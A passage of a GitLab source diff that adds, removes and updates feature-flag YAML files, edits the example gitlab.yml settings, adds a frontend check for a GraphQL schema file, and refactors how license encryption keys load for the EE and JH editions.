+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324351
+milestone: '13.11'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/reject_unsigned_commits_by_gitlab.yml b/config/feature_flags/development/reject_unsigned_commits_by_gitlab.yml
new file mode 100644
index 00000000000..93c0026d59d
--- /dev/null
+++ b/config/feature_flags/development/reject_unsigned_commits_by_gitlab.yml
@@ -0,0 +1,8 @@
+---
+name: reject_unsigned_commits_by_gitlab
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58453
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326775
+milestone: '13.11'
+type: development
+group: group::editor
+default_enabled: true
diff --git a/config/feature_flags/development/remove_resolve_note.yml b/config/feature_flags/development/remove_resolve_note.yml
deleted file mode 100644
index 008a469e16d..00000000000
--- a/config/feature_flags/development/remove_resolve_note.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: remove_resolve_note
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45549
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/320756
-milestone: '13.6'
-type: development
-group: group::code review
-default_enabled: true
diff --git a/config/feature_flags/development/resolve_merge_request_todos_async.yml b/config/feature_flags/development/resolve_merge_request_todos_async.yml
new file mode 100644
index 00000000000..db19e439994
--- /dev/null
+++ b/config/feature_flags/development/resolve_merge_request_todos_async.yml
@@ -0,0 +1,8 @@
+---
+name: resolve_merge_request_todos_async
+introduced_by_url:
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/resource_access_token_feature.yml b/config/feature_flags/development/resource_access_token_feature.yml
deleted file mode 100644
index 536502b7ca0..00000000000
--- a/config/feature_flags/development/resource_access_token_feature.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: resource_access_token_feature
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29622
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/235765
-milestone: '13.0'
-type: development
-group: group::access
-default_enabled: true
diff --git a/config/feature_flags/development/runner_detailed_view_vue_ui.yml b/config/feature_flags/development/runner_detailed_view_vue_ui.yml
new file mode 100644
index 00000000000..d2b07bd2140
--- /dev/null
+++ b/config/feature_flags/development/runner_detailed_view_vue_ui.yml
@@ -0,0 +1,8 @@
+---
+name: runner_detailed_view_vue_ui
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57256
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325737
+milestone: '13.11'
+type: development
+group: group::runner
+default_enabled: false
diff --git a/config/feature_flags/development/runners_cached_states.yml b/config/feature_flags/development/runners_cached_states.yml
new file mode 100644
index 00000000000..e7ea63be1f6
--- /dev/null
+++ b/config/feature_flags/development/runners_cached_states.yml
@@ -0,0 +1,8 @@
+---
+name: runners_cached_states
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57367
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326989
+milestone: '13.11'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/scoped_group_variables.yml b/config/feature_flags/development/scoped_group_variables.yml
deleted file mode 100644
index bdeb453abb9..00000000000
--- a/config/feature_flags/development/scoped_group_variables.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: scoped_group_variables
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55256
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323298
-milestone: '13.10'
-type: development
-group: group::configure
-default_enabled: false
diff --git a/config/feature_flags/development/search_settings_in_page.yml b/config/feature_flags/development/search_settings_in_page.yml
deleted file mode 100644
index 26db77ebdb7..00000000000
--- a/config/feature_flags/development/search_settings_in_page.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: search_settings_in_page
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50207
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/294025
-milestone: '13.7'
-type: development
-group: group::editor
-default_enabled: false
diff --git a/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml b/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml
index 0ab96f16547..ef4d1cb3bfe 100644
--- a/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml
+++ b/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292897
milestone: '13.7'
type: development
group: group::dynamic analysis
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/security_dast_site_profiles_api_option.yml b/config/feature_flags/development/security_dast_site_profiles_api_option.yml
new file mode 100644
index 00000000000..a92e761d3ce
--- /dev/null
+++ b/config/feature_flags/development/security_dast_site_profiles_api_option.yml
@@ -0,0 +1,8 @@
+---
+name: security_dast_site_profiles_api_option
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58723
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325130
+milestone: '13.12'
+type: development
+group: group::dynamic analysis
+default_enabled: false
diff --git a/config/feature_flags/development/sentry_processors_before_send.yml b/config/feature_flags/development/sentry_processors_before_send.yml
new file mode 100644
index 00000000000..19e88699b66
--- /dev/null
+++ b/config/feature_flags/development/sentry_processors_before_send.yml
@@ -0,0 +1,8 @@
+---
+name: sentry_processors_before_send
+introduced_by_url:
+rollout_issue_url: https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/849#processors
+milestone: '13.11'
+type: development
+group: team::Scalability
+default_enabled: false
diff --git a/config/feature_flags/development/simplified_commit_status_group_name.yml b/config/feature_flags/development/simplified_commit_status_group_name.yml
deleted file mode 100644
index 410d351de5f..00000000000
--- a/config/feature_flags/development/simplified_commit_status_group_name.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: simplified_commit_status_group_name
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52644
-rollout_issue_url:
-milestone: '13.9'
-type: development
-group: group::testing
-default_enabled: false
diff --git a/config/feature_flags/development/skip_dag_manual_and_delayed_jobs.yml b/config/feature_flags/development/skip_dag_manual_and_delayed_jobs.yml
deleted file mode 100644
index 640be201868..00000000000
--- a/config/feature_flags/development/skip_dag_manual_and_delayed_jobs.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: skip_dag_manual_and_delayed_jobs
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50765
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/297240
-milestone: '13.8'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/skip_pages_deploy_to_legacy_storage.yml b/config/feature_flags/development/skip_pages_deploy_to_legacy_storage.yml
new file mode 100644
index 00000000000..a324a6e5ab1
--- /dev/null
+++ b/config/feature_flags/development/skip_pages_deploy_to_legacy_storage.yml
@@ -0,0 +1,8 @@
+---
+name: skip_pages_deploy_to_legacy_storage
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59298
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327725
+milestone: '13.11'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/ssh_key_expiration_email_notification.yml b/config/feature_flags/development/ssh_key_expiration_email_notification.yml
new file mode 100644
index 00000000000..ee051a4648b
--- /dev/null
+++ b/config/feature_flags/development/ssh_key_expiration_email_notification.yml
@@ -0,0 +1,8 @@
+---
+name: ssh_key_expiration_email_notification
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56888
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326386
+milestone: '13.11'
+type: development
+group: group::compliance
+default_enabled: false
diff --git a/config/feature_flags/development/swimlanes_buffered_rendering.yml b/config/feature_flags/development/swimlanes_buffered_rendering.yml
new file mode 100644
index 00000000000..30da5383406
--- /dev/null
+++ b/config/feature_flags/development/swimlanes_buffered_rendering.yml
@@ -0,0 +1,8 @@
+---
+name: swimlanes_buffered_rendering
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56614
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324994
+milestone: '13.11'
+type: development
+group: group::product planning
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/sync_traversal_ids.yml b/config/feature_flags/development/sync_traversal_ids.yml
new file mode 100644
index 00000000000..52777c502e6
--- /dev/null
+++ b/config/feature_flags/development/sync_traversal_ids.yml
@@ -0,0 +1,7 @@
+---
+name: sync_traversal_ids
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52854
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321947
+group: group::access
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/upgrade_link_in_user_menu_a.yml b/config/feature_flags/development/upgrade_link_in_user_menu_a.yml
new file mode 100644
index 00000000000..8ee4cf0ecbf
--- /dev/null
+++ b/config/feature_flags/development/upgrade_link_in_user_menu_a.yml
@@ -0,0 +1,8 @@
+---
+name: upgrade_link_in_user_menu_a
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56591
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300824
+milestone: '13.11'
+type: development
+group: group::expansion
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_api.yml b/config/feature_flags/development/usage_data_api.yml
deleted file mode 100644
index 9ba8180eb5a..00000000000
--- a/config/feature_flags/development/usage_data_api.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_api
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41301
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/267114
-milestone: '13.4'
-type: development
-group: group::product analytics
-default_enabled: true
diff --git a/config/feature_flags/development/usage_data_code_review_aggregation.yml b/config/feature_flags/development/usage_data_code_review_aggregation.yml
index a41fd11dac3..23c8f86360a 100644
--- a/config/feature_flags/development/usage_data_code_review_aggregation.yml
+++ b/config/feature_flags/development/usage_data_code_review_aggregation.yml
@@ -5,4 +5,4 @@ rollout_issue_url:
milestone: '13.9'
type: development
group: group::code review
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_g_compliance_dashboard.yml b/config/feature_flags/development/usage_data_g_compliance_dashboard.yml
deleted file mode 100644
index 2ca2893b1a9..00000000000
--- a/config/feature_flags/development/usage_data_g_compliance_dashboard.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_g_compliance_dashboard
-introduced_by_url:
-rollout_issue_url:
-milestone:
-type: development
-group: group::compliance
-default_enabled: true
diff --git a/config/feature_flags/development/usage_data_i_analytics_cohorts.yml b/config/feature_flags/development/usage_data_i_analytics_cohorts.yml
deleted file mode 100644
index b9c401b7e27..00000000000
--- a/config/feature_flags/development/usage_data_i_analytics_cohorts.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_i_analytics_cohorts
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54329
-rollout_issue_url:
-milestone: '13.9'
-type: development
-group: group::optimize
-default_enabled: true
diff --git a/config/feature_flags/development/usage_data_i_incident_management_oncall_notification_sent.yml b/config/feature_flags/development/usage_data_i_incident_management_oncall_notification_sent.yml
new file mode 100644
index 00000000000..3b8d02cc2d4
--- /dev/null
+++ b/config/feature_flags/development/usage_data_i_incident_management_oncall_notification_sent.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_i_incident_management_oncall_notification_sent
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58606
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::monitor
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_i_testing_summary_widget_total.yml b/config/feature_flags/development/usage_data_i_testing_summary_widget_total.yml
new file mode 100644
index 00000000000..fb06ea9f58d
--- /dev/null
+++ b/config/feature_flags/development/usage_data_i_testing_summary_widget_total.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_i_testing_summary_widget_total
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57543
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326058
+milestone: '13.11'
+type: development
+group: group::testing
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml b/config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml
index 64e46689775..36fe28236ec 100644
--- a/config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml
+++ b/config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/322166
milestone: '13.10'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_track_ci_templates_unique_projects.yml b/config/feature_flags/development/usage_data_track_ci_templates_unique_projects.yml
deleted file mode 100644
index 306e37ac308..00000000000
--- a/config/feature_flags/development/usage_data_track_ci_templates_unique_projects.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_track_ci_templates_unique_projects
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50481
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/296880
-milestone: '13.8'
-type: development
-group: group::configure
-default_enabled: true
diff --git a/config/feature_flags/development/use_distinct_for_all_object_hierarchy.yml b/config/feature_flags/development/use_distinct_for_all_object_hierarchy.yml
new file mode 100644
index 00000000000..9412e6af327
--- /dev/null
+++ b/config/feature_flags/development/use_distinct_for_all_object_hierarchy.yml
@@ -0,0 +1,8 @@
+---
+name: use_distinct_for_all_object_hierarchy
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57052
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::database
+default_enabled: false
diff --git a/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml b/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml
new file mode 100644
index 00000000000..8c57f197a87
--- /dev/null
+++ b/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml
@@ -0,0 +1,8 @@
+---
+name: use_distinct_in_register_job_object_hierarchy
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57045
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::continuous integration
+default_enabled: false
diff --git a/config/feature_flags/development/use_marker_ranges.yml b/config/feature_flags/development/use_marker_ranges.yml
new file mode 100644
index 00000000000..068e403e2cf
--- /dev/null
+++ b/config/feature_flags/development/use_marker_ranges.yml
@@ -0,0 +1,8 @@
+---
+name: use_marker_ranges
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56361
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324638
+milestone: '13.10'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/use_traversal_ids.yml b/config/feature_flags/development/use_traversal_ids.yml
new file mode 100644
index 00000000000..e9fd2d03737
--- /dev/null
+++ b/config/feature_flags/development/use_traversal_ids.yml
@@ -0,0 +1,8 @@
+---
+name: use_traversal_ids
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56296
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321948
+milestone: '13.11'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/user_mode_in_session.yml b/config/feature_flags/development/user_mode_in_session.yml
deleted file mode 100644
index 1b0a0053cf4..00000000000
--- a/config/feature_flags/development/user_mode_in_session.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: user_mode_in_session
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16981
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321025
-milestone: 12.4
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/users_expanding_widgets_usage_data.yml b/config/feature_flags/development/users_expanding_widgets_usage_data.yml
new file mode 100644
index 00000000000..3b68aff5d71
--- /dev/null
+++ b/config/feature_flags/development/users_expanding_widgets_usage_data.yml
@@ -0,0 +1,8 @@
+---
+name: users_expanding_widgets_usage_data
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::code review
+default_enabled: true
diff --git a/config/feature_flags/development/value_stream_analytics_extended_form.yml b/config/feature_flags/development/value_stream_analytics_extended_form.yml
deleted file mode 100644
index f74c85309c1..00000000000
--- a/config/feature_flags/development/value_stream_analytics_extended_form.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: value_stream_analytics_extended_form
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50229
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/294190
-milestone: '13.7'
-type: development
-group: group::optimize
-default_enabled: true
diff --git a/config/feature_flags/development/variable_inside_variable.yml b/config/feature_flags/development/variable_inside_variable.yml
index 1e75576a97a..2060958590f 100644
--- a/config/feature_flags/development/variable_inside_variable.yml
+++ b/config/feature_flags/development/variable_inside_variable.yml
@@ -1,8 +1,8 @@
---
name: variable_inside_variable
-introduced_by_url:
-rollout_issue_url:
-milestone: '13.7'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50156
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/297382
+milestone: '13.11'
type: development
group: group::runner
default_enabled: false
diff --git a/config/feature_flags/development/workhorse_extract_filename_base.yml b/config/feature_flags/development/workhorse_extract_filename_base.yml
new file mode 100644
index 00000000000..a80f6c45f28
--- /dev/null
+++ b/config/feature_flags/development/workhorse_extract_filename_base.yml
@@ -0,0 +1,8 @@
+---
+name: workhorse_extract_filename_base
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57889
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326379
+milestone: '13.11'
+type: development
+group: group::source code
+default_enabled: true
diff --git a/config/feature_flags/experiment/invite_members_in_comment.yml b/config/feature_flags/experiment/invite_members_in_comment.yml
new file mode 100644
index 00000000000..521574ad71b
--- /dev/null
+++ b/config/feature_flags/experiment/invite_members_in_comment.yml
@@ -0,0 +1,8 @@
+---
+name: invite_members_in_comment
+introduced_by_url: 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51400'
+rollout_issue_url: 'https://gitlab.com/gitlab-org/growth/team-tasks/-/issues/300'
+milestone: '13.10'
+type: experiment
+group: group::expansion
+default_enabled: false
diff --git a/config/feature_flags/experiment/new_repo.yml b/config/feature_flags/experiment/new_repo.yml
new file mode 100644
index 00000000000..a39717538c1
--- /dev/null
+++ b/config/feature_flags/experiment/new_repo.yml
@@ -0,0 +1,8 @@
+---
+name: new_repo
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55818
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/285153
+milestone: '13.11'
+type: experiment
+group: group::adoption
+default_enabled: false
diff --git a/config/feature_flags/experiment/pipeline_empty_state_templates.yml b/config/feature_flags/experiment/pipeline_empty_state_templates.yml
new file mode 100644
index 00000000000..465034db65c
--- /dev/null
+++ b/config/feature_flags/experiment/pipeline_empty_state_templates.yml
@@ -0,0 +1,8 @@
+---
+name: pipeline_empty_state_templates
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57286
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326299
+milestone: '13.11'
+type: experiment
+group: group::activation
+default_enabled: false
diff --git a/config/feature_flags/ops/execute_batched_migrations_on_schedule.yml b/config/feature_flags/ops/execute_batched_migrations_on_schedule.yml
new file mode 100644
index 00000000000..f518849b57f
--- /dev/null
+++ b/config/feature_flags/ops/execute_batched_migrations_on_schedule.yml
@@ -0,0 +1,8 @@
+---
+name: execute_batched_migrations_on_schedule
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51332
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326241
+milestone: '13.11'
+type: ops
+group: group::database
+default_enabled: false
diff --git a/config/feature_flags/ops/gitlab_service_measuring_projects_create_service.yml b/config/feature_flags/ops/gitlab_service_measuring_projects_create_service.yml
new file mode 100644
index 00000000000..78e60987a7f
--- /dev/null
+++ b/config/feature_flags/ops/gitlab_service_measuring_projects_create_service.yml
@@ -0,0 +1,8 @@
+---
+name: gitlab_service_measuring_projects_create_service
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30977
+rollout_issue_url:
+milestone: '13.0'
+type: ops
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/ops/gitlab_service_measuring_projects_import_export_export_service.yml b/config/feature_flags/ops/gitlab_service_measuring_projects_import_export_export_service.yml
new file mode 100644
index 00000000000..309492f8be9
--- /dev/null
+++ b/config/feature_flags/ops/gitlab_service_measuring_projects_import_export_export_service.yml
@@ -0,0 +1,8 @@
+---
+name: gitlab_service_measuring_projects_import_export_export_service
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30977
+rollout_issue_url:
+milestone: '13.0'
+type: ops
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/ops/gitlab_service_measuring_projects_import_service.yml b/config/feature_flags/ops/gitlab_service_measuring_projects_import_service.yml
new file mode 100644
index 00000000000..03a8eca99d9
--- /dev/null
+++ b/config/feature_flags/ops/gitlab_service_measuring_projects_import_service.yml
@@ -0,0 +1,8 @@
+---
+name: gitlab_service_measuring_projects_import_service
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30977
+rollout_issue_url:
+milestone: '13.0'
+type: ops
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/ops/recaptcha_on_top_level_group_creation.yml b/config/feature_flags/ops/recaptcha_on_top_level_group_creation.yml
new file mode 100644
index 00000000000..3ee8538b4fd
--- /dev/null
+++ b/config/feature_flags/ops/recaptcha_on_top_level_group_creation.yml
@@ -0,0 +1,8 @@
+---
+name: recaptcha_on_top_level_group_creation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56707
+rollout_issue_url:
+milestone: '13.11'
+type: ops
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/ops/redis_hll_tracking.yml b/config/feature_flags/ops/redis_hll_tracking.yml
new file mode 100644
index 00000000000..6570143d60d
--- /dev/null
+++ b/config/feature_flags/ops/redis_hll_tracking.yml
@@ -0,0 +1,8 @@
+---
+name: redis_hll_tracking
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56970
+rollout_issue_url:
+milestone: '13.11'
+type: ops
+group: group::product intelligence
+default_enabled: true
diff --git a/config/feature_flags/ops/usage_data_api.yml b/config/feature_flags/ops/usage_data_api.yml
new file mode 100644
index 00000000000..edb78c151d5
--- /dev/null
+++ b/config/feature_flags/ops/usage_data_api.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_api
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41301
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/267114
+milestone: '13.4'
+type: ops
+group: group::product intelligence
+default_enabled: true
diff --git a/config/feature_flags/ops/usage_data_non_sql_metrics.yml b/config/feature_flags/ops/usage_data_non_sql_metrics.yml
new file mode 100644
index 00000000000..8347a20fe47
--- /dev/null
+++ b/config/feature_flags/ops/usage_data_non_sql_metrics.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_non_sql_metrics
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57050
+rollout_issue_url:
+milestone: '13.11'
+type: ops
+group: group::product intelligence
+default_enabled: false
diff --git a/config/feature_flags/ops/usage_data_queries_api.yml b/config/feature_flags/ops/usage_data_queries_api.yml
new file mode 100644
index 00000000000..4b6cdad2521
--- /dev/null
+++ b/config/feature_flags/ops/usage_data_queries_api.yml
@@ -0,0 +1,8 @@
+---
+name: usage_data_queries_api
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57016
+rollout_issue_url:
+milestone: '13.11'
+type: ops
+group: group::product intelligence
+default_enabled: false
diff --git a/config/feature_flags/ops/x509_forced_cert_loading.yml b/config/feature_flags/ops/x509_forced_cert_loading.yml
new file mode 100644
index 00000000000..b884a5b47bc
--- /dev/null
+++ b/config/feature_flags/ops/x509_forced_cert_loading.yml
@@ -0,0 +1,8 @@
+---
+name: x509_forced_cert_loading
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54569
+rollout_issue_url:
+milestone: '13.10'
+type: ops
+group: group::source code
+default_enabled: false
diff --git a/config/gitlab.yml.example b/config/gitlab.yml.example
index 57ece521301..da1a15302da 100644
--- a/config/gitlab.yml.example
+++ b/config/gitlab.yml.example
@@ -6,7 +6,7 @@
# This file should not receive new settings. All configuration options #
# * are being moved to ApplicationSetting model! #
# If a setting requires an application restart say so in that screen. #
-# If you change this file in a Merge Request, please also create #
+# If you change this file in a merge request, please also create #
# a MR on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests. #
# For more details see https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/settings/gitlab.yml.md #
########################################################################
@@ -210,6 +210,13 @@ production: &base
# Whether to expunge (permanently remove) messages from the mailbox when they are deleted after delivery
expunge_deleted: false
+ # For Microsoft Graph support
+ # inbox_method: microsoft_graph
+ # inbox_options:
+ # tenant_id: "YOUR-TENANT-ID"
+ # client_id: "YOUR-CLIENT-ID"
+ # client_secret: "YOUR-CLIENT-SECRET"
+
## Consolidated object store config
## This will only take effect if the object_store sections are not defined
## within the types (e.g. artifacts, lfs, etc.).
@@ -408,6 +415,10 @@ production: &base
aws_access_key_id: AWS_ACCESS_KEY_ID
aws_secret_access_key: AWS_SECRET_ACCESS_KEY
region: us-east-1
+ local_store:
+ enabled: true
+ # The location where pages are stored (default: shared/pages).
+ # path: shared/pages
## Mattermost
## For enabling Add to Mattermost button
@@ -485,7 +496,7 @@ production: &base
ee_cron_jobs:
# Schedule snapshots for all devops adoption segments
analytics_devops_adoption_create_all_snapshots_worker:
- cron: 0 4 * * *
+ cron: 0 4 * * 0
# Snapshot active users statistics
historical_data_worker:
@@ -1395,6 +1406,9 @@ test:
aws_access_key_id: AWS_ACCESS_KEY_ID
aws_secret_access_key: AWS_SECRET_ACCESS_KEY
region: us-east-1
+ local_store:
+ enabled: true
+ path: tmp/tests/pages
repositories:
storages:
default:
diff --git a/config/helpers/check_frontend_integration_env.js b/config/helpers/check_frontend_integration_env.js
new file mode 100644
index 00000000000..38393c89445
--- /dev/null
+++ b/config/helpers/check_frontend_integration_env.js
@@ -0,0 +1,37 @@
+const fs = require('fs');
+const isESLint = require('./is_eslint');
+
+const GRAPHQL_SCHEMA_PATH = 'tmp/tests/graphql/gitlab_schema.graphql';
+const GRAPHQL_SCHEMA_JOB = 'bundle exec rake gitlab:graphql:schema:dump';
+
+const shouldIgnoreWarnings = JSON.parse(process.env.GL_IGNORE_WARNINGS || '0');
+
+const failCheck = (message) => {
+ console.error(message);
+
+ if (!shouldIgnoreWarnings) {
+ process.exit(1);
+ }
+};
+
+const checkGraphqlSchema = () => {
+ if (!fs.existsSync(GRAPHQL_SCHEMA_PATH)) {
+ const message = `
+ERROR: Expected to find "${GRAPHQL_SCHEMA_PATH}" but file does not exist. Try running:
+
+ ${GRAPHQL_SCHEMA_JOB}
+`;
+
+ failCheck(message);
+ }
+};
+
+const check = () => {
+ if (isESLint(module)) {
+ return;
+ }
+
+ checkGraphqlSchema();
+};
+
+module.exports = check;
diff --git a/config/initializers/0_inject_enterprise_edition_module.rb b/config/initializers/0_inject_enterprise_edition_module.rb
index 7478727f869..f9c82f45040 100644
--- a/config/initializers/0_inject_enterprise_edition_module.rb
+++ b/config/initializers/0_inject_enterprise_edition_module.rb
@@ -31,6 +31,12 @@ module InjectEnterpriseEditionModule
include(ee_module) if Gitlab.ee?
end
+ def prepend_if_jh(constant, with_descendants: false)
+ return unless Gitlab.jh?
+
+ prepend_module(constant.constantize, with_descendants)
+ end
+
private
def prepend_module(mod, with_descendants)
diff --git a/config/initializers/0_license.rb b/config/initializers/0_license.rb
index ce3103be2e4..3db5ec0a91a 100644
--- a/config/initializers/0_license.rb
+++ b/config/initializers/0_license.rb
@@ -1,10 +1,18 @@
# frozen_string_literal: true
-Gitlab.ee do
+load_license = lambda do |dir:, license_name:|
prefix = ENV['GITLAB_LICENSE_MODE'] == 'test' ? 'test_' : ''
- public_key_file = File.read(Rails.root.join(".#{prefix}license_encryption_key.pub"))
+ public_key_file = File.read(Rails.root.join(dir, ".#{prefix}license_encryption_key.pub"))
public_key = OpenSSL::PKey::RSA.new(public_key_file)
Gitlab::License.encryption_key = public_key
rescue
- warn "WARNING: No valid license encryption key provided."
+ warn "WARNING: No valid #{license_name} encryption key provided."
+end
+
+Gitlab.ee do
+ load_license.call(dir: '.', license_name: 'license')
+end
+
+Gitlab.jh do
+ load_license.call(dir: 'jh', license_name: 'JH license')
end
diff --git a/config/initializers/0_marginalia.rb b/config/initializers/0_marginalia.rb
index ab21f936cd8..7e48c9d4fcd 100644
--- a/config/initializers/0_marginalia.rb
